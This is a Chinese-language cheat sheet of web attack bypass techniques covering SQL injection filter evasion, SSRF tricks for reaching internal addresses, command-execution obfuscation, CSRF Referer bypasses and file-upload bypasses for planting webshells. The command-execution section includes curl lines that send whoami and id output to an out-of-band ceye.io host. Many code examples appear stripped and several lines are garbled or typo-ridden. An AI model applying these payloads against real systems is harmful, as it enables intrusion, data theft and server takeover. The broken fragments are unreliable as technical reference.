Web中常見的繞過和技巧
SQL註入
十六進制繞過引號
slect table_name from information_schema.table where table_schema="sqli";
|
like或者in繞過等號
select * from admin where id in (1,2,3,4);
|
join繞過逗號
SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),‘ ‘,database(),‘ ‘,@@datadir)
|
limit逗號的繞過
select * from admin limit 0,2;
|
between繞過等號
select * from admin where id between 1 and 3;
|
空格繞過
select * from admin where id=1;
|
符號代替文字繞過
-
&&代替and
-
||代替or
-
| 代替 xor
MySQL註釋
SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;
等價函數替換
hex()、bin() ==> ascii()
|
SSRF
限制協議繞過
通過HTTP(S)的鏈接302跳轉到gopher協議上。
<?php
|
# dict protocol - 探測Redis
|
IP限制繞過
利用[::]
利用[::]繞過localhost
|
在windows嘗試了chrome Firefox IE
都無法訪問
在Linux下Firefox
是可以訪問的。
Linux下curl wget
也是可以訪問的。
利用@
http://[email protected] => http://127.0.0.1
|
在firefox
下會彈出提示框。chrome
直接跳轉。
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
|
利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1
|
利用DNS解析
在域名上設置A記錄,指向127.0.1
利用進制轉換
十進制 ---||||||> 十六進制 ---||||||> 八進制 然後在訪問時 指定協議然後加個0
|
利用Enclosed alphanumerics
利用Enclosed alphanumerics
|
利用句號
127。0。0。1 >>> 127.0.0.1
|
命令執行
空格繞過
< 符號
|
%0a 符號
|
變量形式繞過
a=who;b=am;c=i;$a$b$c
|
base64編碼
`echo "d2hvYW1p"|base64 -d`
|
DNS通道獲取回顯
linux:
curl xxxx.ceye.io/`whoami`
|
特殊字符或者是空格出現的話,這時候可以通過一些編碼來,比如base64
curl http://xxxx.ceye.io/$(id|base64)
|
windows:
http請求:
|
dns請求:
|
用ceye.io
獲取不到回顯,嘗試了用t00ls的T00ls DNSLOG
單引號和雙引號
單引號雙引號要成對出現
CSRF 繞過Referer
條件限制 不一定所有的Refere驗證就可以繞過
Referer為空條件下
利用ftp://,http://,https://,file://,javascript:,data:這個時候瀏覽器地址欄是file://開頭的
如果這個HTML頁面向任何http站點提交請求的話,這些請求的Referer都是空的。
利用https協議 https向http跳轉的時候Referer為空
判斷Referer是某域情況下繞過
比如你找的csrf是xxx.com 驗證的referer是驗證的*.xx.com
可以找個二級域名 之後<img "csrf地址"="">之後在把文章地址發出去 就可以偽造。
判斷Referer是否存在某關鍵詞
referer判斷存在不存在google.com這個關鍵詞
在網站新建一個google.com目錄 把CSRF存放在google.com目錄,即可繞過
判斷referer是否有某域名
判斷了Referer開頭是否以126.com以及126子域名 不驗證根域名為126.com
那麽我這裏可以構造子域名x.126.com.xxx.com
文件上傳
解析漏洞
IIS6.0解析漏洞
IIS6.0會把以下3種類型的文件會被IIS當作腳本文件(ASP、PHP、ASPX)來解析執行
-
a.asp;.jpg
-
/a.asp/2018042500310015.jpg
-
a.cer、a.asa、a.cdx IIS6.0會把這三種後綴當作ASP來執行。
Apache解析漏洞
在低版本的Apache中,系統會從右向左識別後綴,直至找到一個可以識別的後綴,然後將文件以該可識別的後綴進行解析。
shell.php.v1.xxx
|
Nginx解析漏洞
Nginx<=0.8.37,在已上傳到服務器的包含WEBSHELL代碼的圖片後面加上%00.php會將 /xx.jpg%00.php當作PHP文件來進行解析執行。
CGI解析漏洞
?CGI的解析漏洞主要影響IIS>7.0 和 Nginx 這兩個WEB容器,它的產生原因是因為PHP.ini中cgi.fix_pathinfo=1,從而導致把其他格式文件按照PHP腳本來進行解析執行。
??Payload:
http://IP/圖片馬地址/a.php
|
遇到這種環境,攻擊者只需要找到一個上傳點,然後上傳一個圖片馬,然後訪問圖片構造Payload即可獲取WEBSHELL。但此情景只能以PHP腳本解析執行文件。
客戶端檢測繞過(JavaScript檢測)
這類檢測通常在上傳頁面裏含有專門檢測文件上傳的javascript代碼最常見的就是檢測擴展名是否合法
可以用firebug之類的插件把它禁掉或者通過burp之類的代理工具進行繞過提交
用burp進行代理修改先將文件擴展名改成jpg
服務端檢測繞過(MIME檢測)
MIME驗證是通過獲取上傳文件時數據包中Content-Type的值來判斷文件是否合法的。以下是常見圖片的後綴和Content-Type對應表:
後綴 Content-Type
|
MIME驗證只需要攻擊者抓取上傳數據包,將數據包中的Content-Type的值修改為合法圖片的Content-Type值即可繞過。
服務端檢測繞過(目錄路徑檢測)
目錄路徑檢測,一般就檢測路徑是否合法
洞成因是因為對目錄路徑的檢測不夠嚴謹而導致可以用0x00截斷進行攻擊
服務端檢測繞過(文件擴展名檢測)
-
文件名大小寫繞過
-
名單列表繞過
-
特殊文件名繞過
-
0x00截斷繞過
-
htaccess文件攻擊
-
解析調用/漏洞繞過
服務端檢測繞過(文件內容檢測)
- 文件幻數檢測
- 文件相關信息檢測
圖像文件相關信息檢測常用的就是getimagesize()函數只需要把文件頭部分偽造好就ok了,
就是在幻數的基礎上還加了一些文件信息有點像下面的結構
GIF89a
|
- 文件加載檢測
常見的是圖像渲染測試,再變態點的甚至是進行二次渲染
對渲染/加載測試的攻擊方式是代碼註入繞過
對二次渲染的攻擊方式是攻擊文件加載器自身
渲染/加載測試攻擊-代碼註入繞過
可以用圖像處理軟件對一張圖片進行代碼註入
用winhex看數據可以分析出這類工具的原理是
在不破壞文件本身的渲染情況下
找一個空白區進行填充代碼,
一般會是圖片的註釋區對於渲染測試基本上都能繞過,畢竟本身的文件結構是完整的
from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html
Web中常見的繞過和技巧